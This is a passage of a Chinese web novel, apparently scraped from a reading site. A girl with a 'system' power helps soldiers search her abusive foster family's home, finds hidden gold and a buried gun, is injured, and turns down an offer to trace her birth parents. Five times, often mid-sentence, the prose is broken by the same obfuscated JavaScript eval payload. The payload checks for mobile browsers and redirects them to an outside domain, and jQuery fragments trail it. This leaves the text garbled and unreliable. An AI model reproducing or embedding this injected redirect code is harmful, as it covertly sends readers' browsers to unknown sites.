系统：不能的呢！主人，真的不贵啦！ 程十一：你让我想想。 还是太贵了，主要是不清楚能不能回本。 似乎是明白了程十一的担忧，系统突然再次出声。 系统：主人，咱们的这个探测仪不仅可以探测金属、玉石之类的贵重物品，还可以探测范围内的任何动物、植物，甚至是人类哦！ 还可以这样？ 啧！ 买了！ 1999贵吗？ 不贵！ 一点都不贵！ 毕竟从王家搜到的小金鱼还没动呢！ 钱是啥？ 钱是王八蛋，花完咱再赚！ 程十一当即让系统充值。 程十一：充两千就行。 系统：好嘞！ 很快，余额那一栏的数字变了，虽然还是2开头，但小数点前面变成了四位数。 随着程十一的吩咐，四位数再次缩水成了两位数。 有那么一丢丢心疼，但……看在功能这么强大的份儿上，忍了！ 等到卡车停在乡下老王家所在的红星大队时，程十一的系统面板上已经多出了一项全新的功能，探测。 也可以称之为搜索，反正在程十一看来，这玩意儿很强大就是了。 卡车的出现吸引了大队人的目光。 这里倒是还没到秋收的时候，所以村口大树下面有不少人在纳凉闲聊。 尤其是还有不少小孩子，一看到有卡车出现，呼啦啦的全都冲了过来。 程十一一眼看过去，只觉得眼睛有点疼。 好多小鸟在乱晃。 此时在村口玩耍的孩子基本上都是七八岁以下的，尤其以男孩儿居多，一个个的全都光着腚，晒得就跟一块块黑炭似的。 这也就是老家这里的气温还挺高，但凡放在光荣大队那边，估摸着鸟都能变成雕塑品了。 因为有孩子们跑来跑去，车速慢了下来，程十一终于感觉自己混浆浆的脑子恢复了些许清明。 有脚程快的人已经去联系了红星大队的大队长。 等到大队长跑过来时，卡车已经快到老王家门口。 直到卡车完全停下，大队长这才上前要打招呼。 谁知后面车斗的挡板一放，唰唰唰跳下来十几个全副武装的兵哥，吓得大队长直接跌坐在了地上，脸都白了。 咋又是这样啊？ 之前就有两辆摩托车来大队上找老王家的人，一番查找后离开了。 本来以为这就算完事了，怎么今天又来？ “同，同志，你，你们这，这是……” 大队长想要爬起来，可是尝试了两次都没成功。 腿脚都是软的，压根使不上力气。 最后还是在一个兵哥的搀扶下才站起来。 “你好。” 男人从副驾驶下车，来到大队长面前，主动伸出了右手：“我是市里武装部的秦爱民。” “领，领导好！” 大队长颤抖着双手握住了秦爱民的手。 秦爱民收回自己手：“奉组织上的命令，特来王家搜查，还请大队长让社员们离开这里，不要影响到我们工作。” “是是是，我，我这就去，这就去。” 大队长画着S弯驱散社员。 有热闹看，大家都不想走，可是看到在阳光下泛着光的武器后，只能是后退些。 老王家的人此时也被惊动了，纷纷出来查看。 结果刚到大门口，看到外面的场景就被吓得哎呀一声坐在地上，然后连滚带爬的往回跑，一边跑还一边喊：“爹，快，快跑啊，那帮人又来了！” 嘭！ 大门被人从外面踹开，兵哥端着武器冲了进来。 老王家的人有的还没反应过来，就被制服，老老实实的蹲在院子里，双手抱着头。 秦爱民将王宝智抱下车，这才看向自己跳下车的程十一。 此时程十一也在看他，一脸的不解：“领导，你们这样送人回来，确定合适吗？” 这哪里是来送人回家啊，这简直就是抓捕现场。 秦爱民那张冷硬的脸上露出了浅浅笑意：“例行搜查而已。” 程十一翻了个白眼。 这话她要是信那才叫有鬼。 “小丫头也很久没回来了吧！不如到处走走看看？” 秦爱民看着程十一。 明明脸上又恢复到了那种小孩子见了就会哇哇哭的状态，可程十一就是感觉这人阴阳怪气的，好像确定了自己肯定能够找到什么东西似的。 难不成对方已经掌握到了确切的线索，就差一个背锅的人了？ 所以，好巧不巧的，她就是那个背锅的人？ 就听秦爱民又道：“到处走走看看，看看能不能想起一些什么特殊的事情或者画面。” 这话的引导性就很强了。 程十一狐疑的看着他：“领导，你觉得我一个不受宠的养女，每天不是干活就是干活，能有什么机会发现不对劲？” “哈哈！也是！那行吧，去和你养父母家的家里人打个招呼，你就可以回到车上了。等我们工作结束，到时候再把你带回市里去。” 秦爱民爽朗大笑，那声音震得程十一耳膜生疼。 这位大叔，你还是冷着脸吧，真的，冷着脸挺好的。 第159章 她真不是心动，就单纯的想上厕所 此时的程十一已经完全不想去搞什么零元购了。 这个秦爱国不是让自己背锅，就是在诈自己，没准儿是想看看自己是不是和王家的关系真的那么不好。 万一自己是潜在的特务呢？ 程十一撇嘴，转身就要上车。 然而她刚费力的将车门打开，系统的声音突然在自己的脑海中乍响。 系统：主人主人，快去茅房啊！茅房里面藏了好东西！ 程十一：啥玩意儿？你再说一遍？ 系统：茅房！厕所！茅楼！就是…… 程十一：你闭嘴！我不想！ 即便是在末世里见识过更多恶心人的画面，但这里到底不是末世了，程十一并不想去面对老王家的茅厕。 一是她没有那个生理需求，二也是因为老王家的茅厕是真的脏。 即便是原主王二丫那样吃苦耐劳的性子，每次来老王家上厕所都是憋着一口气冲进去，快速解决战斗再赶紧跑出来，根本不敢换气。 系统：主人，你真的不去吗？那里面藏了不少金条哦！金条哦！只要有了那些金条，探测仪的钱肯定回本哦！ 程十一：…… 她绝对不承认她是心动了！她就是单纯的想上厕所！ 没办法，尿急！ “小丫头，怎么了？” 秦爱民看着小丫头扶着车门一动不动，也不往上爬了，就有点好奇。 随手将车门关上，程十一转身看向秦爱民，一脸纠结的说道：“我在想我能不能憋到回到市里了再上厕所。” 秦爱国：啥玩意儿？ 程十一叹了口气：“算了，我还是在这里上吧！我怕半路上憋不住，那就不好了。” 说完，也不管秦爱国是个什么反应，直接进了老王家的大门，一路朝着后院走。 老王家的茅厕就在后院的角落，旁边还有鸡圈和猪圈。 虽说现在养动物也都是有数量限制的，但那些东西的粪便味道也还是有的。 尤其是在老王家这种不怎么爱干净的人家，那气味就更冲鼻子了。 再加上茅厕的味道，得，光是想一想都会窒息。 为了不亏本，程十一默默的从自己的挎包里拿出了口罩。 这个时候的口罩可不是厚实的那种很轻很薄的，而是用多层棉质纱布做出来的，那个厚度也着实是很感人。 冬天很温暖，夏天就很…… 戴上口罩，程十一也还是不敢大口的呼吸，又不能一直憋气，怕自己还没等结束战斗就先憋不住了。 终于进到了茅厕里，画面果然很感人。 程十一努力的不让自己去看那些脏污，而是快速扫视还算干净的空地。 茅厕的空间并不算大，除了那一条坑洞外，其他的空地甚至都没有一平米。 程十一：统统，报告具体位置！ 系统：就在主人脚下啊！往下挖，不超过三十公分就是个箱子！ 程十一翻白眼，被熏得。 程十一：能不能隔空取物？这我真下不去手！ 系统：能，但需要花999升级探测仪。 想骂人，但她张不开嘴。 程十一：买买买，赶紧的，我要熏**！ 系统：好嘞！ 没用两秒钟，就听系统的提示音响起。 升级成功了。 程十一眼前的光屏也发生了变化。 黑漆漆的土地中间是一个不同箱子，而木头箱子里面放着十根小金鱼，小金鱼下面还有小一点的木头盒子，放着一些珠宝首饰。 程十一已经顾不得细看了，赶紧让系统将大箱子留下，将箱子里面的东西收起来。 不能将大箱子收起来，一来是她嫌弃有味道，再一个就是这玩意儿一拿出来，地面势必会出现一个坑。 她怕自己折里面。 做好后，程十一做出一个提裤子的动作，一边提一边往外跑。 跑出去了五六米远，这才放慢了些脚步，重新呼吸。 真是快要熏死她了。 这味儿怎么能这么大？都辣眼睛了。 不行不行，今天晚上说什么都得想办法给自己洗个澡，还有这身衣服……必须用消毒水浸泡，再喷上香水，好好的晾晒个七七八十一天才有可能再次穿上。 程十一突然跑出来的举动吸引了正在后院搜查的兵哥的注意，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569174|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过在看到茅房的方向后，兵哥再次看向程十一的眼神里就多了几分同情。 那个气味……他离着这么远都闻见了，也是真难为这个小姑娘了。 绕过正方来到前院，程十一就想去车上带着，不，还是去车斗上待着吧！她要散散味儿。 刚路过一旁的厨房，系统如同尖叫鸡一般的声音再次乍响。 系统：主人主人，厨房里有东西！ 程十一的脚步一顿，看向厨房。 王家的厨房和柴房连在一起，位于院子的一侧。 要说王家的厨房还是挺大的，平常家里人吃饭都是在这里，有灶台还要摆下一张桌子，太小了也放不下。 程十一：里面有什么？ 如果还是金条的话，那她就勉为其难的进去一趟，如果不是，那就…… 系统：枪！ 程十一的身形一晃，差点没摔倒。 程十一：你说什么？枪？谁家好人会把枪藏在厨房？是嫌走火得不够快吗？ 系统：真的！就在水缸下面，放在了一个铁皮盒子里呢！ 程十一抿唇。 这玩意儿，她收起来也用不了啊！万一被人发现了，自己怕是一百张嘴都说不清。 可如果不说…… 程十一看向了正在一旁柴房里翻找的兵哥，走上前问：“同志，厨房找过了吗？” 不等对方回答，她又说道：“我要去弄点水洗手，我现在进去不会影响你的工作吧？” 兵哥转身看她，摇摇头：“已经查过了，你去吧！” “哦，谢谢。” 程十一嘴上应着，心里还是在挣扎。 她到底要不要帮忙？ 不帮，良心上说不过去。 虽说她也没多少良心，但面对这些最可爱的人，她的良心还是有一点点的。 可是帮了，保不齐就会陷入秦爱国那个黑脸的圈套。 犹豫归犹豫，程十一的两只脚还是很顺从的走进了厨房。 此时老王家的人已经被人看管起来了，他们现在只能眼睁睁的看着程十一进了厨房，谁都不敢吭声，毕竟那一个个黑黢黢的洞口可都对着他们的脑袋呢！ 第160章 司马缸砸缸 人进厨房了，脑子也麻了。 东西在水缸下面，这让自己怎么操作？ 看着那比自己宽了好几圈的水缸，她两条胳膊都抱不拢，而且里面还有水，就算不多，那也不是想搬就能轻易搬动的啊！ 还是在这样的环境里，自己也不可能动用系统仓库吧！ 程十一扫了一圈四周，看到了水缸旁边立着的去斧子，那是平日里劈柴用的。 要不来个司马缸砸缸？ 不行不行，这样太不对劲了，谁会没事用斧子砸缸？ 要不然就算了？ 自己偷摸将东西拿出来，再藏到别的地方去？ 这样也不成，容易出问题，毕竟自己也不知道那些兵哥到底是哪里检查过了，哪里没检查。 程十一扶着边沿往水缸里面探头看。 水真不算多。 还是先舀水出来洗洗手吧！ 程十一想着就拿起了一旁灶台上的盆。 能放在厨房里的盆肯定是做饭用的。 管他呢，反正不是自己用，先舀水洗手。 水缸很高，里面的水位又太低，程十一只能单手扶着缸的边缘，另外一只手拿着水瓢往里面够。 努力一点，再努力一点。 够到水了！ 程十一踮着脚尖，只要再稍微努力那么一丢丢，自己就能舀水出来。 眼看着就要舀水成功，突然的一声喊吓得程十一一个激灵，整个人朝着水缸里面就栽了进去。 当场上演倒栽葱。 “嗷！” 程十一惊叫出声，但声音很快又消失不见。 她，溺！水！了！ 程十一这辈子都没想过自己竟然还能有这样的一天。 门口的秦爱民听见身后的声音，赶紧冲进厨房，结果刚一进去就看到了两只脚在晃悠，其中一只脚上的布鞋也不知道掉到哪里去了，只剩下了一双红色的袜子在那晃啊晃。 “**！” 秦爱民一个着急就飙了脏话，人更是快速冲到水缸跟前，抓住了两个脚踝，往上一提，人直接被提了起来。 “咳咳！” 程十一感觉空气又回来了，忍不住咳嗽了几声。 “妈呀，你这小丫头这是干啥啊？” 秦爱民吓得不轻，赶紧将人放在地上。 还好，缸里的水不多了，只湿了个脑袋，身上没湿多少。 “咳咳！” 程十一剧烈的咳嗽了好几下，这才回过神：“我，我被吓了一跳。” 刚刚真的是那一嗓子吓到她了，要不然也不可能倒栽葱。 刚刚突然暴喝吓人的秦爱民有些心虚的摸了摸鼻子。 他真不是故意的，就是看到院子里的人有人想要起来，一着急，他就吼了一嗓子，没想到吓着这丫头了。 系统：主人主人，你现在可以砸水缸啊！理由都是现成的！ 程十一正要脱口的咳嗽戛然一顿，接着又是一阵疯狂的咳嗽。 麻蛋的，这什么狗系统，这种时候不关心她这个主人也就算了，竟然还想着司马缸砸缸的事？ 不过，确实是个好主意。 程十一从地上爬起来，连鞋都顾不上穿，操起一旁的斧子，朝着水缸就砸了下去，一边砸还一边骂骂咧咧。 “臭水缸！破水缸！差点淹死我！我要打死你！打死你！” 程十一就像是个发狂的小狮子，哐哐砸水缸。 秦爱民见这丫头爬起来了，还以为没事了，正要提醒她穿鞋，谁知这丫头却挥舞着斧子就开始砸缸。 这哪行啊！ 他们是来搜查的不假，可也不是割尾会的那些人，根本不带砸老百姓家的东西的啊！ “你这丫头，你快停手！” 秦爱民当即上前要阻止。 可程十一手里的斧子简直快要挥舞出残影了，感觉就像是在面对杀父仇人。 没几下，缸破了。 秦爱民的心里一沉。 算了，他掏钱赔吧！要不然这事闹开了，他也落不得什么好。 偏偏程十一还不肯停手。 哪怕缸体已经破了大半了，她也没停下来，将斧子一扔，抓起地上的缸座就往灶台上狠狠一砸。 啪嚓！ 缸底裂了，灶台也缺了一个脚。 地上散落的全都是碎片。 程十一一时不察踩上了一块，当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572902|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即疼得她嗷的一声叫。 秦爱民的反应倒是快，一把扶住了程十一的胳膊，二话不说，抓起程十一的后衣领就提了起来，大步走出厨房。 程十一只感觉自己命运的喉咙被人勒住了，可还没忘了正事，艰难说道：“领导，那，那是啥？” 脚底疼，呼吸困难，头发脸还湿淋淋的，程十一突然感觉欧皇体质好像失效了。 呜呜呜，为了当一个思想正派，努力为国家、为人民办好事的好青年可真是太难了。 秦爱民脚步一顿，顺着程十一手指的方向看去。 那是水缸刚刚放着的位置，有一块明显的湿乎乎的圆。 如果不是他眼神还够好使，还真发现不了什么异常。 好在他眼神够用，一下子就看到了那个圆中间不对劲。 不是地砖，而是……墨绿色的铁皮。 “来人！” 秦爱民一声喝。 门外当即就有兵哥冲进来。 秦爱民将程十一交给对方：“将人送到车上处理伤口！” 兵哥看着被提溜着衣领子送到自己面前的小姑娘，一下子就傻眼了。 不是，这玩意儿让他咋接啊？ 程十一的小脸已经被憋得通红，更加艰难的说道：“领导，我，我要勒**，放，放我下来。” 秦爱民这才注意到这一点，赶忙将人放下，又对兵哥说道：“再来两个人，你将人搀扶出去。” “是！” 这下兵哥就不傻眼了，扶着人这个可以，但是提溜人是真不行。 又进来了两个人，手里拿着铁锹。 秦爱民也没用铁锹，而是随手捡起一块碎片，蹲在铁皮前面就开始轻轻刮。 程十一被搀扶着蹦跳出了老王家的院子，而在她的身后则是留下了星星点点的血滴。 这次真亏了，亏大了。 程十一一边吐槽，一边联系系统购买破伤风。 贵不贵的已经不在她的考虑范围内，反正，破伤风得买，还得尽快给自己扎上，她可不想等着一路颠簸回到市里了再去医院。 什么金银，什么钱，在狗命面前一切都不重要！ 第161章 不来个全身检查多亏得慌 大队长怎么也没想到会出现**件，关键流血的那个人还不是老王家的人，而是人家组织上面带来的工作人员。 程十一下乡的这段时间还是有一些变化的，尤其是穿着打扮上早就不是当初王二丫的模样，所以大队长压根就没认出来程十一就是老王家的王二丫。 这下可把他吓坏了，赶紧就去让人卫生所里找来了大夫，给程十一的脚丫子好好的清理了下，又仔仔细细的包扎好。 这么一折腾，等程十一重新安稳坐好时，老王家的人也都被赶到车斗里去了。 本来还和老王家的人蹲在一起的王宝智看了看车斗上的奶奶一家人，又看了看副驾驶的门，果断朝着副驾驶跑去。 他是跟着程十一一起来的，随行的兵哥也都知道，不过见他朝着副驾驶跑，距离最近的兵哥还是看向了秦爱民。 见秦爱民摆摆手，兵哥这才收回了要去抓住王宝智的手，还顺手将副驾驶的门给打开了。 程十一刚要从系统仓库里拿出破伤风给自己来一针，副驾驶门突然被人打开，她赶紧停下动作，转头看过来。 “同志，你这位弟弟……” 兵哥不知道该怎么说。 程十一看向正在努力仰头看自己的王宝智，只感觉眼前一黑又一黑。 不是吧，还要让这小子坐副驾驶？ 她不想点头，但想到等下秦爱民也要上来，她还是拜托了兵哥将王宝智抱到了车上。 这小子身上埋汰是埋汰了点儿，但多少也是个障碍物。 至于会不会传染给自己虱子跳蚤？ 程十一已经决定了要好好的洗个澡，大不了就把这一身里里外外的衣服全都烧了，再也不穿了就是，怎么都比直接和一个大老爷们挨着坐要好。 王宝智的眼圈红红的，看起来像是哭过，程十一也懒得管他，任由他靠着自己，而自己则是靠着椅背闭目养神。 疼，还是疼，脚底板是真的疼。 不过刚刚的大夫说伤口不大，不需要缝合，但需要好好的养一养。 哦，对了，脚暂时不能沾水。 也就是说，自己不能洗澡？ 那…… 程十一猛地睁开眼睛看向一旁的脑袋瓜儿。 头发乱糟糟的，倒是没看到有什么可疑的虫子在里面爬行。 所以，应该没有虱子跳蚤……吧？ 程十一绝望的闭上眼睛。 什么狗屁欧皇体质啊，说好的会持续一整天呢？那她现在这样算什么？算她否极泰来？不对，是泰极否来吗？ 想骂人，但没人可以让她骂。 那就骂系统？ 想想还是算了，系统有错，但最终下决定的那个人还是自己。 所以，程十一决定了…… 程十一：统统，你给我滚出来！你看看你的错误决定给我害成什么样了？ 不骂系统，但她可没说不会要精神损失费、受伤补助这些吧！ 系统：主人，对不起，统统知道错了，统统也不知道会这样。 系统的那个语气是说不出的歉意。 软乎乎的，听起来还怪让人心软的。 心软只是一瞬间。 程十一：那你说吧！要怎么补偿我？我这下可连洗澡都成问题了，万一我被传染上了虱子跳蚤啥的，你知不知道那得多遭罪？ 系统：主人，你消消气，统统已经联系主系统了，一定给你争取到最多最好的补偿！ 哟？这么好？ 程十一的眼睛亮了亮，但语气依旧不改。 程十一：行吧，看你们主系统的表现了，要是给的补偿不够，我可是要举报它的！ 管它能不能举报成功呢，反正威胁就对了。 系统：嗯嗯，到时候不用主人你，统统就会直接举报！ 远在某个未知星系的主系统：…… 被系统这么一哄，程十一的心情好了不少。 很快卡车司机上来了。 车子启动，先是退出了老王家所在的这条路。 “领导呢？他不上来？” 没看到秦爱民上来，程十一不解。 难不成老王家检查完还不够，还要搜查周围，或者是留下来看管这里？ 不过，他一个领导亲自看守，是不是多少有点那啥了？ 司机虽然话不多，但也算得上是有问必答。 “部长在后面看管犯人。” 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572903|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答，嗯，怎么不算回答呢？ 程十一点点头。 既然秦爱民不上副驾驶，那她也就没必要和王宝智挤着坐在一起了，将这小子推到了门旁边：“自己去看风景。” 王宝智有点不情愿，但是当看到车窗外有很多小孩子全都羡慕的看着他后，那点不情愿瞬间就消失不见，甚至还喜滋滋的。 终于回到了市里，先将后面老王家的人全都送到该送的地方，卡车也没熄火，直接带着程十一前往医院。 虽说村里的大夫已经给处理过了伤口，但秦爱民不放心，直接让司机将人送到医院重新检查。 程十一也不拒绝。 检查检查好，最好是顺便做个全身检查。 这副身体刚接手的时候可是差到离谱，也不知道现在被自己养回来多少。 眼看着医生检查过了脚底的伤口，说是没有问题，只要休养就行，然后就让人出院。 这下程十一不乐意了。 她必须得来个全身检查，来都来了，不检查一下自己多亏得慌？ 最好还能住院，否则她今天晚上就得住招待所。 反正王家的那个空荡荡的房子，她是肯定不会回去了。 而且之前听陈奶奶话里的意思，那房子也空不了多久了，等到王海柱两口子的事情一拍板，那房子就会被钢铁厂收回去，再另外安排其他人入住。 既然如此，自己也就别来回折腾了，老老实实的在医院里住着多好。 养伤方便，没准儿还不用自己花钱。 “医生，我还呛了水。” 程十一见医生转身，赶忙说道：“大头朝下栽进水缸里的，头也撞到了。” 医生一听这话，当即转身，扶着程十一的肩膀让她重新躺好：“你这小同志，刚刚怎么不提前说呢？撞到头了也不是小事，必须得好好检查一下！” 这个小同志还没到医院，他们医院就接到电话了，让他们医院务必尽心尽力救治。 至于救治什么，电话那头没说。 他还以为就是一个外伤，没想到还有这么个情况。 还好他刚刚离开的脚步不够快，否则可能就要闯祸了。 第162章 老王家的三种结局 程十一如愿的住院了，还是公费报销的那种。 秦爱民是在傍晚的时候来看她的，同行的还有顾青。 俩人刚进病房，就看到了正坐在病房床上看书的小姑娘。 顾青只一眼就看见了小姑娘手里拿着的连环画。 嗯，很好，又是一本新故事。 “小程同志，现在感觉怎么样？” 秦爱民走进来就笑呵呵的打招呼，还提了提手里的网兜。 两个网兜，一个里面放着两瓶黄桃罐头，另外一个则是放着几个橘子苹果。 程十一放下连环画，看见秦爱民正要打招呼，视线却注意到了这人身后跟着的高大身影上。 顾青？ 这人怎么也过来了？ 这俩人认识，这一点程十一自然是知道的，但那也是通过窃！听！器才知道的。 现在嘛…… “顾同志？你怎么也过来了？” 程十一适时的表现出一副惊讶的样子。 顾青微微点头：“我来看看你，听说你受伤了，严重吗？现在怎么样？” “哦，脚上的伤得养几天了，至于脑袋，据说是被撞到了，需要再观察两天。” 程十一指了指脚又指了指自己的脑袋。 脚上缠着纱布，但脑袋上什么都没有。 别说是纱布了，就连块淤青都没有。 可医院不敢轻易放人啊，万一脑袋真撞出什么问题来，他们让人走了，真出现什么后遗症，他们可就有理说不清了。 所以就直接安排人住院，而且还特别安排了一间单人病房，那规格绝对不是一般的高。 “我刚刚给大队长打过电话了，你的假期已经延长，等你伤好后再回去。” 顾青手里也拎着两个网兜，一个里面放着几根香蕉，另外一个里面则是放着两个饭盒：“我刚刚打了晚饭，你吃过了吗？” “还没。” 程十一一听就赶紧坐直身子，还一副要下地吃饭的样子。 秦爱民看着这俩人对话，尤其是这小丫头，压根就没搭理自己的询问啊！ 啧！ 果然还是年轻帅气的小伙子更吸引人家小姑娘的注意。 “你可别动弹，我听医生说了，脑袋撞到了就不能乱动，否则很容易出现问题。” 一想到人家小姑娘的头撞到是因为自己的一嗓子，秦爱民的自责和内疚啊，简直不能用言语来形容。 顾青将小桌子摆在程十一面前，还很贴心的将两个饭盒打开。 一个饭盒里面一半米饭，一半放着两个油汪汪的煎蛋。 另外一个饭盒则是放着一半炒土豆丝，一半红烧排骨。 自己对这小丫头的饭量还是了解些的，这些足够她吃了。 当然，不是吃饱的那种，而是能够让她不饿着的同时，还能留出吃零食的肚子。 没办法，这姑娘吃零食的画面实在是太让人难忘了，能一直吃，嘴巴不闲着的那种。 “谢谢。” 程十一也不和这俩人客气。 主要是这饭菜也没多少，一看就是给自己准备的。 接过顾青递过来的筷子，程十一就开始往嘴里扒拉饭菜。 还别说，真饿了。 一旁的窗户底下摆着两张单人沙发，中间还有张茶几。 秦爱民直接走过去坐下，而顾青则是拿起了暖壶去打了开水。 出去时还不忘将病房门关上，这一操作着实让程十一有些迷惑。 这个顾同志是不是也太不为她的名声着想了？就这样将她和一个男人放在同一个房间，这合理吗？ 还是说…… 程十一的嘴里嚼嚼嚼，心里却在分析着这个秦爱民是不是还要对自己进行审问。 嗯，或者说是了解情况之类的。 嘴里的饭菜刚咽下去，还不等再往嘴里扒拉一口，程十一就听秦爱民说道：“小程同志，你养父母一家的案子很快就会有判决结果。” “啊？哦！” 程十一看向秦爱民，点点头：“什么结果？” 啧，这才一个下午时间就搞定了啊！ 果然还是得靠着她才行啊，要不然这些人指不定还要多长时间才能发现藏在水缸下面的东西呢！ 也或者可能永远都发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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也就是王宝智多多少少还有那么一点点良心，对原主王二丫还有过那么些许的善意，至于王宝才和王宝慧，那就是纯纯的俩白眼狼。 别说是收养了，没亲手打死他们俩，那都是她程十一足够善良。 第163章 拒绝寻亲 “那就只能送去孤儿院了。” 秦爱国的一只手搭在扶手上，手指有一下没一下的敲着。 程十一耸耸肩：“那就送过去呗！至少不会饿死冻死，也算是个出路了。” 秦爱民眯起眼睛，看着程十一的侧脸，颇为有些玩味的反问：“你不会担心心疼吗？据我所知，那三个孩子都是你一手带大的。” 这话让程十一的动作一顿，转头看向秦爱民，脸上带着嘲讽：“心疼？你是那三个说不让我吃饭，让**活，不让我好好睡觉，还故意弄脏衣服反过来去告状说是我打了他们，让王家夫妇把我打得满身是伤的白眼狼吗？” 一想到继承到的那些记忆画面，程十一的恨意就止不住的往上涌。 不管她是旁观者，还是亲历者，都无法对那样的三个孩子再生出半分同情。 秦爱民手指敲动的动作一顿。 这小丫头还是第一次露出这样的神情，那么明显的恨意简直能凝结成实质。 这样的反应才对劲。 王海柱那一家子对王二丫的打骂欺压，他们经过这段时间的了解可是再清楚不过。 在那样的生存条件里脱离出来，如果还没有半点恨意，那才叫不对劲。 秦爱民突然笑了，那张能吓哭小孩儿的脸上突然浮现出笑意，着实把程十一吓了一跳。 大叔，你真的别笑了，太吓人了。 程十一收回视线，继续吃饭，只是那吃饭的动作明显刚刚那么投入了，显得有些心不在焉，好像饭菜突然就不香了。 秦爱民说道：“对待敌人就应该是这样的态度！” 程十一没说话。 秦爱民又道：“王海柱和姜美妮还没有交代你是他们从哪里带回来的，不过，等到他们的判决下来后，一旦执行，你的身世怕是就再也没有办法查清楚了。” 这话说得严肃，还很沉痛。 小小的年纪就离开了亲生父母，对于一个孩子来说得是多大的心理创伤。 秦爱民不敢想。 程十一的动作再次停住了，也再次看向秦爱民：“你们要帮我找到我的亲生父母？” 秦爱民反问：“你不想？” 程十一老老实实摇头：“不想。” 停顿了下又解释道：“是他们弄丢了我，而且在发现我丢了后也没有上报，或者没有及时上报，否则我也不可能这么多年都没有被他们找回去。” 这话听得秦爱民皱眉：“小程同志，话也不是这么说的，万一他们不是不想找，而是不知道怎么找，或者寻找的方向错了呢？” “也许吧！” 程十一将筷子放下：“但那又怎么样？王二丫和他们已经分开了十一年，在这十一年里，王二丫不知道多少次都差点死在王家人手里。是王二丫命大，这才活下来。” “我不否认那家人给了王二丫生命，但这并不足以让我可以放下所有的嫌隙去接受那些人。” 程十一突然苦笑：“再说了，你又怎么能够确定当年不是那家人亲手将王二丫送给了王家人呢？毕竟，王二丫只是一个丫头片子啊！” 寻亲是肯定不能寻亲的。 别说王二丫到死都不知道自己的身世了，就算知道了，怕是也不会有太大的期待。 别问她程十一是怎么知道的，她就是知道！ 秦爱民再次拧眉：“也不能这么说，听王家的那些邻居描述，当年你被带回来的时候并不像是穷苦人家卖掉的样子，也许就是他们不小心弄丢了你。” “那也和我没关系了。” 程十一吸了吸鼻子，目光坚定的看着秦爱民：“他们弄丢了王二丫，而王二丫也早就死在了王海柱家。如今的我是程十一，一个全新的人。我不想和王家再有任何关系，也不想和所谓的亲人再有什么牵扯。” “既然他们已经十一年都没有找到我了，十一年的时间，早已足够让他们习惯了没有我这么一个孩子，所以往后余生，我只希望我能好好的活下去。不再是为了伺候某一家人，或者是寻找某一家人。” 这番话说得认真，但秦爱民却认为程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578452|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十一是想洗掉和王家所有的关系所以才会这么说，压根没觉得程十一说的王二丫**是真的**。 “你这孩子，你才十六岁，人生还很长，你……” “就是我的人生还很长，所以我才不想被那些事拖累。” 程十一打断秦爱民的话：“领导，谢谢你，也谢谢组织还能想到为我寻找亲人，但我真的不需要。” 秦爱民还想说什么，但敲门声却阻止了他。 顾青回来了，拎着暖壶。 将床头柜上的搪瓷缸子涮了涮，又从自己的挎包里拿出了一个油纸包，打开后才发现里面是红糖。 冲了一杯红糖水，这才送到程十一手边：“你出了不少血，喝点红糖水补补。” 顾青的声音不算大，语气却很温柔。 程十一看向顾青，对上他那双明亮中带了些许关心的眸子，心里突然就一软。 她和顾青之间并没有太多的交流，说起来俩人认识的时间都没有很长，但这人的细心照顾却被程十一都看在了眼里，记在了心里。 这是个好人，是个好男人。 如果自己能有这样的一个家人，那该多好？ 算了，家人什么的，不适合她。 “谢谢。” 程十一接过搪瓷缸子放在了桌子上，又拿起筷子继续吃饭。 秦爱民没有再继续之前的话题。 他看得出来，这个小丫头是真的很排斥寻找亲生父母。 也是，已经分开了十一年时间，甚至都没有半点关于被带走之前的记忆，就算真的重逢了又能怎么样？ 那家人真的还能接受这么一个大的孩子吗？ 